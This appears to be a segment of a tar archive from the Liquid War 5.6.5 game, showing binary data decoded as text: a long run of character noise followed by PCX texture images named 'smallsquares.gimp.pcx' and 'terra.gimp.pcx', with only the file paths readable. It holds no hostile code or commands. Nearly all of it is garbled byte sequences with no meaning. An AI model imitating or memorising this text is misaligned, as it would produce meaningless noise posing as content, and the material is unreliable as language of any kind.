brztvbhxxznhtptx\tl|bxbn`rlznz^zzxrnvh|r|jrh~txzZtt|jbr|p~dzp|njppzrv~fx|n|l~zhnznrfrvv`nvxphv|nvlxnzxvnlrp|vdxlxjvfn|ftf|tv`vrtvnl~xvhxhzzxrbtnxt`przd|fxrdprrt~~`rtprz`~vxfrjvt~|Xzrrrhjzzv`lt~vfbblrZ\x~Lll~~fvx\z|xLFx\lXltNHvvXrx`|xTpxrbzN|~`tp^~rhhp`xvTvl|Vbx^zf^vdp~pZTpt\~\xvbhphnVz|^lrdpXzndpzRp`lj`|xNhfpfTv\|\^rX^`~fZjXTljV|`bZl~bZ\tZbz^rTprdd|V~Tnjfp|Pt^tl^vVvfhzxRjfxbdrT`n`\~jb\j~h\\r\btfhPv~fbtbtRrtfn~Tztbpp^|~T|jlpnTv\|fhvrXljxdZpdZlzr\fnvZj~t`\r~flzfn~^txphzZ~~fnhnnVvlljd~~b~hltzbnlrfh||`dtrphvthzbt~rfzdtzllnnj~^xrbpj||bznpl~j~vjnpl~dzhvpxhpzfrj|x~x`vptvpnrtlxj||vxdtr|thvjzj~jrznnpvzxzjxzpztvlpvnpj~ztzdrp|rlx|lxn~|nvvrlpt~tjv|f|pzhpvnph|zxxbrlztpnnpnxh|~rtbtl~thrzrnrntzv~dvbhX|jxrtdhXbXd|BV`d~PvxFVlh~jtptrrrt~|^rrhjfbjrrr|^rdzZlvn\Z~zphfd||djztb^v~z`Zthrbr|hVt|vj~jvz~jnvftVrz^p`xPfrb|zb|bdjhxXx`tlt\rtdrX|xzVt`pvXpln\X~~d^r^z~XvdlZT~XjhppT~nbntb|Vlbjz|Pnhhbdz|LfrxfTlf^fxrV`zxbTppjVtz|jXzjt|VjtlnTv~tfhrd~vNxlxhrTz~\zflrrTnlthX~vdXlvtPnnrPl|x\XpvdfzhjxVpxtbzN~z^lfrfP|hjhdv\|hfnzTrjhb`V^pjpb~xZtbnx^\pxnfzhXv`x|zfdlvrjrpdhzvzl\vfntpTxxxZzZxbjT`Z~v|rf|b|vp`^nzZ~rzptjj|pZ~h|tl\pl~jj~jvjdpzj^pzx^vxnxn~jtrznnvvz~~\t|pxlvhvh`zld||^tzxnnltpxnzr~nrrdt||r`ttnjxn|fzjrttvvdttxprjxjxrxjlvv^n~ndtvj~n~n|lrpnxxpzdrzlpvjdzptjtrvb~pxvllzf|v|j~rlthrxn^r~dp|bhtptnx|rvbz~lxpblrtvdzzpv^vp~t`j~lzpdzrvjjxr|v`nl|p~ZlxjplvrxzT~txrl^|vxj|jptvvXpxlbbrd`rlld~vjt\j~zjXtrnhtpjtR~|zdp^vxdznlh~zZzphj^~|d|`nhx^~zdl\l^bjtph|lbt\tzXx^rxdprnX`|j`rdtbnnh`\~~b^hlxTxljhxf~xXplp~|VzjntpdttV~fzzjTvrldl|xl^hvzb\xnrVp~tp`fxtVltvl|Vt~zlpvbvz|ZxptptP||jvdhr|zZrnpf^zj~bfx~vbjnnbh||dVpvrjxhfv`t~rfzZv~rllflx\vp`pb~ftjfn~frhhnf~dt^rr|dvpfnhtz`z|frzththltjxvv^xh~zjljrjh~|vjfvp~~flhrrdtplhnvv~\zznxzprpj`xtrXxvr^xb\pdplbJpzbj@JZJ`T|lRhlbrAP<Ⱥ{XIwj>>qbCq^T\qxpyqyk9R:uǑQjiNPjx}[59T~qvá`D[ylRL}j\~A>}\?|=sym]t~bk}q|Z}uijyWNb|s]otkYjpifg^IWjRlmS{W]~xlҘTͼfIzJBg/Nn@"6U|zX_`VxvaeҞVf}^}~Xcecvl(B4FnUV}uEC|`XŠ~YdXS{MWcjnmQW}Sx`ayp}E7Dij~j|kkhokSns_?3egXwo\qEn|zvy}ng{x|woQUqVjzTcPFw_bv]lVuXOtlav\.%/m-Rv`{]SƢui]b{gmtbIkmoġŋIJtJ^]d{bj~{ak]]LhfYcdKkxZ}iMyaJ|xy]^xGVvdLDcbGnq_g[o}Iup`hjyx{eciOXyYXhs~gygRfvivd|svqsmlfk{n_~uQF^{kh]v_epvv|xc~atojr]{uxhFHo~ldw~pVOwdu}lqz{kZy~mYl`|mpzxzu]rsk~thWquUiw|vo{SRfP>|`DKbMieAUjgyrǝGMqD>l”W^zncM6m|buXHu]\{JR~gQM\`eyJ:_pO^nkus:?z^t{wP=uR9|}k|wuT4ro[~_n]ez|m\vhvQ{w]|zsV^hS+dlUzvgkYmWsnRPGxÓqvSz?8~mM;tjbYoLBvc6lnb_KhxjscYs[i5`eAWyZZcaMk~xnKjWUgreQurF=j|CCeZvLzrc]brxjy}s^SsM\`HJG@ͱrEa}GLk}msDOMrEKeoEAzsuopm[kZAs~r|AFSh`Eq]i~WrkNxvkuHTm}nmsWc{oTSoig[NYv}GOpouPvv9Yj>Wro`KreJs@\x]UʵMZtNK@ztexrVQ^\ÎPmv|b_zyANjq^8K~zpFyMeT?¹xTlvo^dsuA/iy3QHh^U]|m;U_ėevb8XXzUqg[PKcDrtf+f1GT]yAW—SalFf`knFrk4_zSBVFXb=z^TzW}2lëO@BTlVzuxGXuR[MxNVFt`jsNąSI[J]Z[vsDdiuQZ|pQƍIFUJHqYupY|`zw{cQvLs_TtBLW:dIbk`qwD_iwugmEStxcLmxHngXm}Csxi[rǧZUn|VEzvabwog`zx]YikK[`nt^vrPip`bvfpyLJ{yrjkU@axpPp:n`NLykKufjoUWwszg9kXdZqͲhGiu{ELVvyyZQcgYiCye|\Nrz|pOSsKQ[O:H2kG=sGrnE\{_{Ren~Sxz]W_mey}YBǠ[gpvf|=G^`\QBLcOxstjR4LŊZip@bzhDbH`ÃY¢cP~ghB`\^~cYqrmx~pelRdx{VNqofrttzutpwxy~}|yuu|{y}{tuz}~|yw{}{~~~~~|~~}}|qzmqysvvq~~nzvp~{}{v}usuyxx~{wtw{}xryt{~{uz}x|ysx}{|||~|{y|}}}xy|{{}x|~~zvx{y{~~~yy~~~}z{~|~|z|~~~}}|}{w|z}~{{~|x||z}||~zpzj{s}o}}w|xs~|yj`t{qog_anwph[K?Cvhwvlijpo[QyuTheQpcZVbvqu{urz}~~~xx|zttusprtjZjyzwrsvyzr{swrq[ihev?C~sVYW`jms|y|Mptt|{znf]Xk~onDQwfO>P|]dr]x{dijS|E~p}|~pq}nXIy~t\Wso|^PIM`[_u9mJF^mŝ|KvZ;nhWm`dzaQ_nyi{w|{uuvwjTQtt`os`VjhKkjLL`TgcbNn{5L`9LDR]Pep}}{mgoysZiTe_z]eaA5uqQJc}Wxih~Rʹmz}dowX<.pLHicw{jmhx||x|nV_@ThPkMLtvpu|~x}Tc|OIgliW{xkɶzwSKuR,hjgokZmlfqmaZsp\Wk`ŸykjcSG]o]YytoQ~yW[uL|TtU|vaePeflR&8l@WMrgZqro~wmurzk\UbVxpkAoxedRrxZ\ʔNĴiJ¢|hK_hyGP{hUwip]KjcllLqwHdmSK\8jMFȈJX|a_ShNpQ{WU{|P\fdhr@`^LnPdyy`Cge]b~Kkq:UfpuilDgqrmfDrjYyapsehgoOhuTV~xyf}sLW~ff_Xrkvzsn_m~y^G?]]\~tuZ|}^PHBYwhpxqv}f~zvrfusVHi{qn{ekybQ`d^c}YVsvw~}y~{umNeVXTvl`Hz?cTRkt\\gl~qg^TQu]@d_jͲuT~{ò`Qttrv}Py_ECai^tIyZ]v`W{t_~mwtxhmwgn=Z]G[|ycVK^qYDAenK\ƑXzxjf`Hx\CoJUOo}hJ~lm{ixeO{T_YSG;oKlrO_}egį`bymqqwKQ~wxwoEvvkhcXKky|}{~tšObTv}unmkkrkoYfbuenuVbQ]eQ^|ws|ÍfwRgi_`_suF\zbVxs\lqjwtrWy~rˍyVVfdooLqv_qwdMf\[~^d~GmnKLzakenvyr}z|WJigyxsOuqX`qns`hkkmr=fvZsiwr~na^loe_~u|os_zhdxuu[qt]n||}~{^Nhyqa`fjo^HY~rtlf|z{mz{}zvht~}eR_svknrikmhXVlmeTh|}sux{w}w|W>eqWdyYoylyuYuo~buLW|wk}ptkhas|fjv`UdX[ZpviwozqclXu~yiVk|oa`yuPal\l~|{rtxfosucrfSxnrh~gzsws}vj`|iyvstk{{lxxmxqw{{z{u}]k~~zuzgWuxppsyqq}r_ruf}}xsowqqsqz}jhsrgPxzOOyrr~{ju|}}rm_ryw|va[vplx|upengf|zu|zwz~jmw}|||uv}y|y}nyq{||mx|t~}yv}}rvzuvxzz{{|swt{}}ux}|yyttrsvwwsotvpxrmy|~x|mu{jT`t`Yf{uhX\ja]gmrvzyy}yzq~y|~r{fav|lejvfVnpXZimlvu^a}|pksy{|~svjyyn~y{zgl{nog`l{uh`}uswxui]c~~~~z|~|}s]npstU`{|uutoi}{ekrdgqtwnm{u||tspensqi|}tq|piifqhNd~nu|}yuf{ud|}ynt|xgspzsh|V\mnulvtsy||p}r^wnhrZuZhiEc\YtyxzxabUfqntb|qMwsdde}qtup~nlvMemSphn8yTCZCbUOWMXt{tt||jI`mTid|iu_cV:riHvqz1]P`ggsmWFvz|nPp^~g_U^eGsIkkHzS\nu_1VVclhq]I@n_H@cGY[]l9ŒhVSyș^L{f8`fxOpspl\Cggf9SmOemSv|^i0n_XFk7VȈTg~}}t~xLyZyA\šUDzlZFy}Ot_d}C1mhiSUU]v~qic}bovtcaH2w`Ml`yV\uOpZ5beuZIm~JMWffc}~~so{wvuw|rt~~vvwnz~}{|uy}qrnmx}t{w|xd{xgv|}}~}|zv{nks}}}{z||{x}wt{{x~~w~|u}vuvxyzvwy~vx{|~w~|~~y}}~~|}~}{z||~}{~{}}~|}|||}}}~|~~~~}}~}}~}~{|y{}z}}~~z|~~~}~}}|{}~~~{z~||}}{{||}|{|~~~ww~{{}}}~xwyy||~wsrzozzzjs|ptyq`hyjYLLZqudYVROS]jxµyRzulnqox|ndp}plg]TQYqszjs˘WjqNNQT^houulpHdiNquOdDLzoojS>WhljoPCFbutRfw\ur^Ocw]cLar~kOOz}}a20_yeNESwlxr{|O18p`Rrųqj©^QzWi{PcfNxLZnyxxxp\F5F[gdNy}{Ϧvd\ƌLYqtow}kYf~^?+3X~~kXF@T`ƠYT]uuO.YorYX~nÃWnnaqont]BSϡb\ʲlCaXa|c=Jc]{r~}w[eGsªv}jql]zyTD̘=@nkn\b{XwxwlH\`fj`qeRufx}yK:hzqY8;_}fcvweromryhWawxt{~{qX;vmgvsywmm{{rgxpr|}k}~}]Xv£kj{{SQmPotfYWeviY|~th|udwnwl~pX}ynrogUQOevudQPPOdv|iSgx}nvXUxRcq[UPXlo__nvrfieXfplws^s{zvfs`|{zqfbiuog^jQgsqz}x]pyx}|fbu}n`drvtwpssq}vmx{r|tXdk[hikyjMZmefu{yqb^grtrkgxpy|vvicpsdJNhrX`|p^p~fcy|q}uq{tc{ut~}sldgzh]o{iaep}j]py~w}|cziryrstwrx{|rzrtqjtkuri{~yyyv{un~o_fqoxzuwxty}~rs~{qmwzi]kyzl`bkk[\syourr~rs~{tqioz}}uuxrp{xnuyt~{}{||rrgb{qzgl{uswgm|wot|vlzw||rmygjnr}nt|{xsrvtmlx|mit}xphmv}hqyn{|xfpj|twyzyw||rs}xrl|nlulukprvzysurl^Vn~iirjsv`]vzmmywyw{{}ma~xm{t_q}xwfcvvy|gbxwrty{}fs~vpxlw|kzstw]h}rV\tc}hU|qplhyz^qro]svx~zqd~as]Hwynuztx|ws~Wd{VzUyC\uVastbc~mPogrwV^pW`pQ{yx|n_yG|cqrpK4_zx\ZqMPqy]evsx4Z`btWcz|xjqsupqwȔ`gjf\^yaBu{_vFFH\||\W{sOXs~piv^o{fillVjkr}t|bcvLsmfpytb̞QJvib~R\~catjyWFTHqvcaj~HasgUjkTtmydzjpvKfpRjkto_sjQt}~B-\~_X~~PJ{pRnbfmp~kxkingk|j}ksmoQ||H]pn2O~IH~QUgV||k}eVrwx_`q]mTaMhzxw{dSQ|z`}^pvKnBakTfs^d|PMdQokLEȯhRrʧ_bvqv{{\l}u7LznueYPf`dT_jqzitiLgx^Wßc?MiGeiZ|wljzƠz^\x{wmfNOGQov<@tXmdpeA]c:MvVegu\7Zso|`ğ_WRc|mU`U%ybj}2Ċ`duNCfʌ?lO^wbN3}^5pwU_L^QH|^dpvJ`k>`3tUQj0_dPkXOa4Zxe}B2h}^uybgSQa^P}LiuSsfsQSKOJpqwPE~khqmTT^nt`mAE~u{yKY{ew`Zu\johxy`ceLg|s|vĚQKyt]@|_|jp4V{Mgf4mV>nqk{eS\oa|{JbNYYwyiÕ`XTuFthrVdngb)emIlX=pRXtj6CR@v‚E\j[@8ÑU}Ms[TK[u^NYf=MqIuWZm~<4yz_Hz{Uc@uzBcyc~w5H>4ѕHv|zNO̩d7>opP`9=\TîG_}tƆIyV;gZ&VTSxnFuyZaGej^:W|εe9h|r{yznOSķe1huyu:Nh~CEÄGDcNre2L˚^hyzAo}GQXu|KdxzF||9lT|DM8ii^hyMz˱RCǺ_M{;c\d%^q]8ImwwojzHSuCgaQup^Ł4M̟NYGyMQNw\Js~z8L{jmjG|ǯudw}hkz73ҡB:4FcOyjVm~cueZ4=hZW9\C4]YŃbYH{kq{czjbmy~spssqps{|~~~}|{||{|~}}||~~~}}~~~|~~~}}~}|z{|}~}|}~~}{|~~~|{|}~~~~}~}|~|tvvvafsfqWhxvnvlv}|tlnj{kUHM_sof[TNGJXexǬe=Ynx\56v~yxwwxz}|ZRNS`OƵxtao{y{~yd@bf.'tcWQhnpu[@7crk~ͅLX{rGTKjIeS͝iyymmqlir{loQ]m[UI8O~hѡhVOEvonmpto^]׫q~YQa?TkWI@?bkOԾmIJ{d<%gx~q4YnOL^y{:sî\8bӤSZjE>YytP("Dmzd@OsNIrĢ{^@0e_>qs,8Zz~meoq|wspnnmlkmuw|{rbbtQqiB;RjveU_slyyjpVqjU[nttzygG2FH6KntXd}ķtMS]_a_^ZRLIGCEO_L3VsignqyùlR\mw|}jYwtgtjm|^|y`wZE=Uo^Z}}\NUROgncv⼰ưR-J~c_ed[JSmn]Mc{YL_8augIAwvO|k̪ŭhX)1yamvW58o{P]dh[VnƐi|spznfzi\uwqp|U\oudZ]KAS[SVvtd˥ޒyE*rR*rk{?1goC~]gw}|{swot\MUp^eXHxbXgzΟk_m|I_mC|jrrg[NF`hHZh_˜Ocw{[uq[yPmvFD~_9ateZe}hZnjqmh~ssvm]Sqm_svocppkjg\Tor]|WZy}{j:fqhī}ϱb|֛^Hq]Cq+Ix45IayZRE:jr\]֌Yսer|qVuzQt<#yC(fx?vp@,xmS{y~cQ_>}UK}xeqjVQXs`X|wI7<^x~v~}cedkkiG}?pjnb=!CuYu{ezĜSxʧvxd`yxhz~kS4@|jL_kIcƨ{LFzcm|heZ`TxzZYV)#9M]tI*Jɫrhݿ~{K`Ígwq@2_FgP8t&9J hPi~U=WȺm~wI_{~p}ębgxwDNzj̾}۶\:g¬X1e;,e^sq9aqN=mnPTa|w?[9lsp[æUIxYh·yhqk_bvoPfrXZuJ/5j|tgqujõ}_yzynXlrM*iaec}oBb7cZi|r|Zxks~trvoMX_qz;+Sd[llQZuITzuRvqjmlak]sx>0Y}dNƚ[Sp\rYZyiY~qiE;\]nFHv@]kf`xƳdupbs|YOwxhzdw=Evp`CHYy8\xe}tHntMs}`buf|iw{RXj|ik{kSkxFo{pei>@i^AjxfP\`Tn~v}p|q`pKUsbUs|zm~sTlponhytlt~}yvqntvsp]VjwbwjHao\hxmg`MIap}|SZypmw|wv|upzlzxme_ioha_b``m]8>jw[[o|cɣu}WFh|kWZfgf[Se~eKaqro_g}}ropZl`gwe|qdc{{yx}ynfnteb{}fink`d|ckv{eu_|zhuqpcUj}|mXkm`}{n~zkv}eahq~d\L@Xfhjghhemicd]xjq}l{{~psv]ybKi|nhqlPUs]=[goszgzp{~tdflyraz~ekrmxld~mVVYxoV`kvcwspv|z}zgqz}tow`ftaig|luxfv~xegsrx{us{{jhqmmtoj|sn|twwrw|mimijpmfmrlfc`\[hzydeqxwo~rr{lipz~|vyw~lw~xq}wx|}os{}y~ustwao~}tkvvcr{kds{nt~|yvtvvy~|tz|jg\hxel}f]qloai{lw{|vt}uppuqy~{hqt}mqvjqtlW}n]w|zt}|f|uw_}y_zektd`xrXaNMpkl~}mtrrt|monkumf~~o|vknlroUelgq~y~~}qdqiTOrncPrrD_hijxyV\rpfjkV~sphnnugYtyooox~skiiyws|sssqxw[Ujwu^T{RB~®j:=³{HYavJsz|pztPQt7FDZrZhɊPrknƤeFewqEL|wLiY~u^onxd[lnw|z|}zuonswurqu|~zvx|}|yyzywwvuuvwxwxxyz{{{||}}~~~~}|}|}}|{{|}~yrnnqtv{{rlifeiqwzwtyypg`YTPMNQTV[_^nrԘy¶mnpnztgjstZ6Oj)iv3_^o~|yvtqnlieda]VU^lnhgijklnqtux|~ztptsdae``ddbiqiPdK)`}SQgqx}~~~wkWinkhMy]QqwoSIV^nV$2MPOT[dligClu̷ȫƌj}vnjcVVjy8GI!1{{k~Q>~ngTpЯaQq|wvzxsnid`]\XSYxwFgv]jݜt}BpQTlcI*oh[GsǬuѮyt~|volkh\G?ofazwyW1WbmCcdfzvzr{wd{+4v@Upt`e{fSqXApWBhxjcɮamůYdYb]`lttv{ysmgc_]_t{3B2E~'8]Fk[Ӕsܛ_~uzToK4bfae~qxRn`sgKD>IurgqguNU[Q\NzJWkTP]LW„^dCÄ8,|;NweQMl}elLj`9[H{oSpɶdĥ^rlQʆY~/=pa"Twlm}bMacaa]XXqzxgÆNڠrg[EYk+/rM{P\x3aÙKCڑVԛSf˽bW]g^[BiOK&!{[T`tz^K^æ^pSXz}NEs9^',jze2iÑKgƈfȮHy؞=`ZM}{xspnmjhlvrrWwXl˜NiӦDz?Y@@KvNVFlhtJ=s@|fiomLdOeKPZDɯT,lkxzlgwrl)]uvz~ztprvy}~|}|X`qwz}wsyrkjhhldQdxH;]glwsfvȁrͅp~}qokhd`^\YTMIJKKTa?%^O 7S}B;n{ftt||yxsmjeb_]\[ZYXWX[\`cfkpqrypws]^dWiq@dk8eOtvdbfjorsuvwxyyzz{}zpdWw:UzD^RY_ǞvVrOowD^~kQiqT[hwu=gcdsjThhK2LtvcF~)0px!Sxgq|jnoTɥqUhCWqz^gi8inL^ht`e|f?3PeLRhnyw^_khnsMcf9bcO}nj/mzwvrppoooox}_7dvH̍cLb?mэD^~|vqjjouv?L-]nq|Ȃ<ޚ4SIPuootqnnlflFgyB,A8yɛtXoٓ{µ]ŤcHc"g;mh^ikmmhfeb`^^ZSi|iby͇苅֓hqukWp|p^RJIF@GfiPJ]qqu}ʥʦmY_weqkPte]XZ]bl{xi_^cikxKY|Si~AKra\T|xxxvnffr~}nkwVTvkf@w@AZae{޽·|sq{vuhf~{|ysjaWPKFCBBDHOV^hr{y}ܛmȝ|wsqojdlhPhpWhgdwmYkzxsTL?f>"`ve_dox{TXXzy}|vromjhhhgefijjljdak}+e|G>RoĮUR`șǮ[Ub:P]-JMbT!WnXYL4>vN~}bE\bTĴ̓SaϥYΦțdjSX|~ȇ&TMNlN!Ƃ;{ybsuvq\^cˁztmqW;nx|n,LwbpbOalf`@[oʗմrz^12v1$hWd@lf|n{omSMڶYru_{v|P{njvDZfd]?waGwg~Sݲwz^UsG)d;]Naq{|zmvmg0P^zhȤbk]ˤYY5J[DoP|U?t^kvDkxniIЋ+^PeFUkjqrpp`yPEpr}~ul\f8um(qkW>qNk+:pq˟jcɆ~r|ڿo3ơgf-imm3s8#X02bV%Qv8PDWmJھI;یkPTǀFqϰAQƪT`}:סJNJ^ƽgVQ~iSnm{vbY=DK:͜c`sbYxpkeaix<_wj[t;H]G_tlwNyxht{ow}hx~Zg?zP6dy?fb1FanEKENqӷToqRaI؟?_Ǻb/tvRA,rFFRa`jS2po{DCe`|we|X[eWIбDAӯRBb[TǴj_hY|p\<_u\`vC`ua[mUv|h,9O6WSQг`iߣRFVXLDaKO~4xSDko^pzks{aOsuhu[gSIxfT^Xglc[Eud|GptC[;fv_HJnt{womrLVϵ`7p}OVxnxzvnlz_l~qftlTK{|jm~uirxbZ}borziw~}uzbw~w}w]jy|~ps|nsl\mpgh[}]hoBLZKktGGMDwxeiwui_Xoq_egCz{Xox{regevywy~zogRqEuzVch\u}{~macmrldglkqsr~{lβ~mn@GZ"KnWfKD_jciZ8QZaW'VdXbe{~ܞnƴhpYw]lobjqqWV|_BWqCQ}nKhkWgwdsxȮssvϖmuv_xnkz]SmUicXxWEsh\vd{iSmdr{`df}uVy}̎WѾcDωZi~}ZwU\SXmcqdbYtzQHef=td`rbjjv7`__קyx}t|Z~QXye}f[nXfgSinybhwc{W7;Lw]Lgzrzn~cg{uEqk@kmQFQuj{tqzer~efa`STm4T\ÌKvxlxhyuqk`TPtUw]-[vbALvE`f^Vsvj~zsťfLvů|xvpzFxӼTKq[lF]}L9gw`sdJ}tsV;~d[t{{N~i9yVC+ESQZtxxzfWx5[CB]`]r^o}ĽqqhRz\Z^Fet^iNE|NJ{||o{sz{zoWD|i[Pyh{NbRVtsd|M`m[v_z¢@3uRnuy`o^pn^X\mwjokoXwvW}nyfhvG`|7|rHy[GxR5[tyĴuvlraunAgi][FxrZ_LhO}@GuOgxBhf{~_iuagvcZ~zncGq6:__[lYHTbl]^ygGUjs{{tmznpcgxxp}bbytbnywnw~~aS\fqfenkff|~]d|zukq|odcu}Xorpyuäv~v~syZcbkwbx}c{icofigkqkidi{|tnfg{xy{vyt~}|{v|lr|r}f[si\hviRZqzi]istpqsvwsyxzy~nUd{wbelc]]hb_fUPXTbdUUT\hhm}ox{t}z`[zuj[Ngv`QXcilglcMUffszicmsrux~|ipr}{z{|ujo~]]`NXl_KUWPU_vtRPgsur|nt~w{rm`lvk`gbbswqmnsw|}{~}oqxvztigkoknztcentqgrpk{|ov~}wqlz{YVnlij]Whdblcrzffqumm}zkutj~uw}zy{w}w{w|phptkcvp\_|~jzyg^gz_\li|sm{|klxpk}ks}ysyryx{gbnp|wi{p\lpeagrv`zZXmifxsXOZgeuzmywz~{zvlzhipwnT\iSSSNteDGTTrpyyi_hUwXqrx}mnl`dv{utrlcY`wtbYeojle]k{un}ifu~y}|tz~n{xzst`kXnVqkU`pplceu}tp|ywpukpkmfjzzg[lvbh{okynfr}t_assknrw|xqu}~xpiw}ngyvfw}v}|sr}q{scdc^hogedfghgc^msYRvOD|pobh|lc]r}xwxzx}ifTenVPPdaQGA\}d2D_SLOVecaYJTcn||jþ«e_rgccemiWKIUb`Z\fe\evrhlor|~stn|Zi}tt{}o{}{n{plzmq~vgeu}wmrx}lh|{{}y|~tox~z}zvlt{xsuxsv{wlpvixZdtuysnrrqppmquliilxni~yr|{yx|s}vhosrlPRvrMWqeX\ff[_idZbgcdgebfchqqt{iyaZm}udhuleglvpWPjpcec^ll_qs`lq_ryq~}rvy{~wz~uoqnjigkppjlomklvzxtrwrkx~y{siruijls}}uxnfu|gmyroju~xptsjm|~zzqoZiyl]dp{xovzs|{jkcRikmt~g`lrbOMdwbX[[}dqmmwnxxygkrjgcgrpbZmy\atvti~\^|xs~}i}ux{j\`NOZ}{T\qiszr{|fu}uxpcmtqhbe`ZbdRRppI2Uuda{yve~juvftp{c{lJxcS_soZRPKHHJUbgr{ubeinopwu{pZg~vR@_iJBVZIAGPU\kxŽ}{vvs[`zfKWvfZx|sngjkjfZQVdje`dijinwvq{swtgnqnkjjjfcckqnhdq~w~~{nhx}k`gednfVW]\cd^`f^U_lzwgkzws{vvffqrd[giWg}dWcifcpobjrhZUdxrfhgsu[Y{ynv}rU`BAHSt[Xu|wjN`qS_aEi{`UIazoMo|kWHX]XhbMOY[]ephby}zo~nwzvjrufix|j|ewnu|}nr|nmux|}w|aPl|h`jrxpl~lXcqimvu}{z|lz~pmylU_tfTjsZ_vhXhopph{uuxupvqc`^aorb^mogkt~srzobk~vXSi~}svza`p{~{xg[i}lU`kgo{vlqzni}zr~{ryz|~|xq{mixr{tceqqd]][fsfYckiabnzuwkpvbfnjlof[ZdeSNf~{c^ns}w~xpv~{psz{}wsiVyqckqvjcWUkqG_wot_Rb|pdhsww~yrvwoeepytqrrppt}xx~wx{rwsp}yzr{{jzjmrgioNb{[j}u|z~~wr}}}|yw}zkirlhmlaPRgph\`jcgyyyz|}|z{qx}k`ryojjptskipnmyymiijvxlv|tm~xm{{xu{}z{vu{vyrlouukcaklacwxqsv{~{wzvqkmktvz}{qtwpv}um}fl|uzxa_kicdgfjlj}~m{twxygQ_~eRh~xnfesshgdahot{ywwuokloqqqhd}~qfzx__s|pd^`nzk[fuyww{zniyzim~~rqqsvolsrnqsswztnt|vljw{|zyltzvvlflqkackiimiaeqzulrws~wv~{|y~z|z|}|wyyxxwv{|k\eolddptmovngz{z}ujspl~ypsvrnosynis}srwz|xtrmnwwv|zz{y{vtywpf_gszvidoy{yx}}y}}slkhmwpm|}kdtz{ysx{~|zt}|zqr}|ohmquwttlan|}||vrmnx}snxynmq}sv|kwwyxuzqpy}{zvqw}op~{utt|xux{c_r{tonhehnwunnwtuxynqvuvytry~{uvrhtyrrv||y~rytt|yruz}wmpxvov}phs~wvs||wvuolqtolruptytmqvsp{|uvy}|}xzzxvsw|xuvy|~{wx~~|~}us}|yz|{uoqyyokw~qpu}zy~xy}yqow}}|zww|{z}}wz~~{wxwssssv{|{yz}~}}}~~}zwuxzzxwxtrurkm|vs}}|}y~|}vstpopokgjokfmzynm{{|~}|||~}{}~~~|x|}}vrw|xvsopstpllosyzw|~}}~}|~zzxz|zzxvvrszztsw|{y||z}~~|yw{~||~|yx{~z~~|{|zw{ww~~{|{yyz{zyxxww|~{wwy|||}|z}}{{{{~~{{}~}}}}~yy{}{yy{|{|}|{|~|~}~~|{{~~~|~~|yxz{||{zyz}}|}~}~}|{|~}yy~|z}||~}~}~|}|}~~{yxy|~~zz~}}}~||}{}~~~}}|}~~}~~}{}~~~~}}}|}~~~~z|zy|}||}}zz}~~~}|{|}|{|{z{}}|{zy{~~~~|}~~~}~}|~~}}~~~~~~~}~~}}~}~~~}|{~~}}~|{~~{}~~~~~~~~~|}~~~~}|}||}|}}~~~~~~~~}~}}~}||}~~}~~~~~~~~~~~~}~~}~~}~}~~~~~~~~~~}~}~}~~}~}~~~~~~~~~~~~liquidwar-5.6.5/data/texture/0000775000372000037200000000000013407756104015552 5ustar travistravisliquidwar-5.6.5/data/texture/smallsquares.gimp.pcx0000664000372000037200000000734513407756104021746 0ustar travistravis 11,,2//@T@d T@o؃:$x\k¦Flrh̵KHZ2(/@T @oŠ؞:]k¦F¶K}2/ d @€2:Đ}6k¦lFrhh3MZ2('@`j`jM:L vkڗlFiMM'A#pTgE?:L ‚3vkJrVi$9(d(#pT`2BŽx :LLӛM^VwrwV$'( ')aCjB6:L3Dbw¯w,qi$d (;@CيAAˆ®uVk„k¯J,Vi0#)//p@TT@a΋\m52H9rG¢K)#pCp@T T@Cp$3W^7Z]^h‰QœGԴ-'pCC@T (@p",!m?©6]6^G®Ghp p@T (pH,Ue|] \Ը‰¸Ժ//C°@TA'a?`**%A9fm^\Ö¤ ߴq/C@@zo`%%+~dU,Ԝ¸Gh"/CCd"C{;%Y+2zDr.¡3HzzCzC׼߀A<;7ytA}Uw󸶡.,ZH¿ ±5A;Xy D=UG.Va"'}i=f=W=s0iЀA7XeYy7=0U»oZZ3$x]6]6庀‘nRWª!vKK՛,cZytg(T/ /S>S&ckb_UNJN0A"gt(/ - >SHb9!RUUͤJN0MztgX'(/ -&Sq*b_f\!U!N^k FNª9Z<*gt- ScnmnUՏ.NVV־h[|| jyt' ('-z/ CcH5RmUwUkJw.V" ;)tyt'(d(d-úcH55bR\wVUww #2tȭ''-cD<7ӤbgaP$ırtgݳu8J?̔I۔J̌Hऒ"$˵˥JT`zV9۔|յeaI5%SG{dNwxfi`wXzH:cʓvqvxny3$̪54(|~f4LDO|[y{Ѡ|TTHʤLSM^Z^w\Uyh`KL˾ޛQXOl^21âȄqF=a4$~uȗ{98ūǺ⢫C@fl_u{:8δyy7Tz\Idz rڌۍ"\Xvƛ(x^b**$VMxjji֭&>4pHDr~=1IY|kdE9;1㬜z@Y4(&đۨ2 ˜q޻OKNj;`vOjG-iWEof`ysYV;8zjni[Z98@K<*мL洍RkdԾ.$vq{b͜Hݭ˻\Egb<5̬ˣmT_J-#宅N)[ILEj޿ɛx7;ߜ͌c9,(K;|Cܜ흄)3(liquidwar-5.6.5/data/texture/terra.gimp.pcx0000664000372000037200000001232213407756104020336 0ustar travistravis ??,,@Ux3eUxUa U3e!#!ej *3` c#c# !U?Z j#)w: ae#Ue# 3eJje3 €K xJ c!jHjc3 xX7a <Ġ:,KaKxscD8eUK#xB8eK j!je # ! .IMarXv&@8aJa3>a .25#jU`eKjxTs jj T#3!T!J8Uo7n8<;U@3 3c2s xUcaiU8e#He Jecr3re€cH!w#)jYqa3xnj3ta`x3]#aUe a e! #!x!½eH!jeceJaFY:J U 3e !xrnJcx3Je#3 r Je e Us!½jc.)J #e <*3xUaKa U rJr! r Uc & a ]jc!r 3x!# #c) )aJnyYXNa388Dr8e 3`aR]3Ja@xc! 3x j.#c.c!j]@EhvyIr8Djx.a!j#jGJtaU nr#!# e xc!3xej5ce3`l;:X/l jc3U e#r8ta D!ڀj½5cUx.ej!. Z+`:q:)RVWWUa3e3xj# JeJrDe!5 ej !>c sce"3nw,wT+"?YxU ! !jrJr!.P53e !c½#!.Ux8e#x 3U!*Jwݔ\*?˷!ej#!#! e !csc½x3U#j !xj !j:lKx3e3 ,LhtJgo<3er!3.+]583nJ#½3 jrjej€#r83Uj!xcc!eUj! #eUO6Osr !U.5!UUQk3U ea3LK#<teJJlos3 #3!U!Ux-jJcJ3xc@L*3eJ8M!Ua# rEn0<s e#!U# a3c5 He3cPc`r!^1M$n3Ur @ #cx5 x)beKe!3x Ja3`j5c c€cU 3½QI=Jae3#ej#c>.P a !. ses 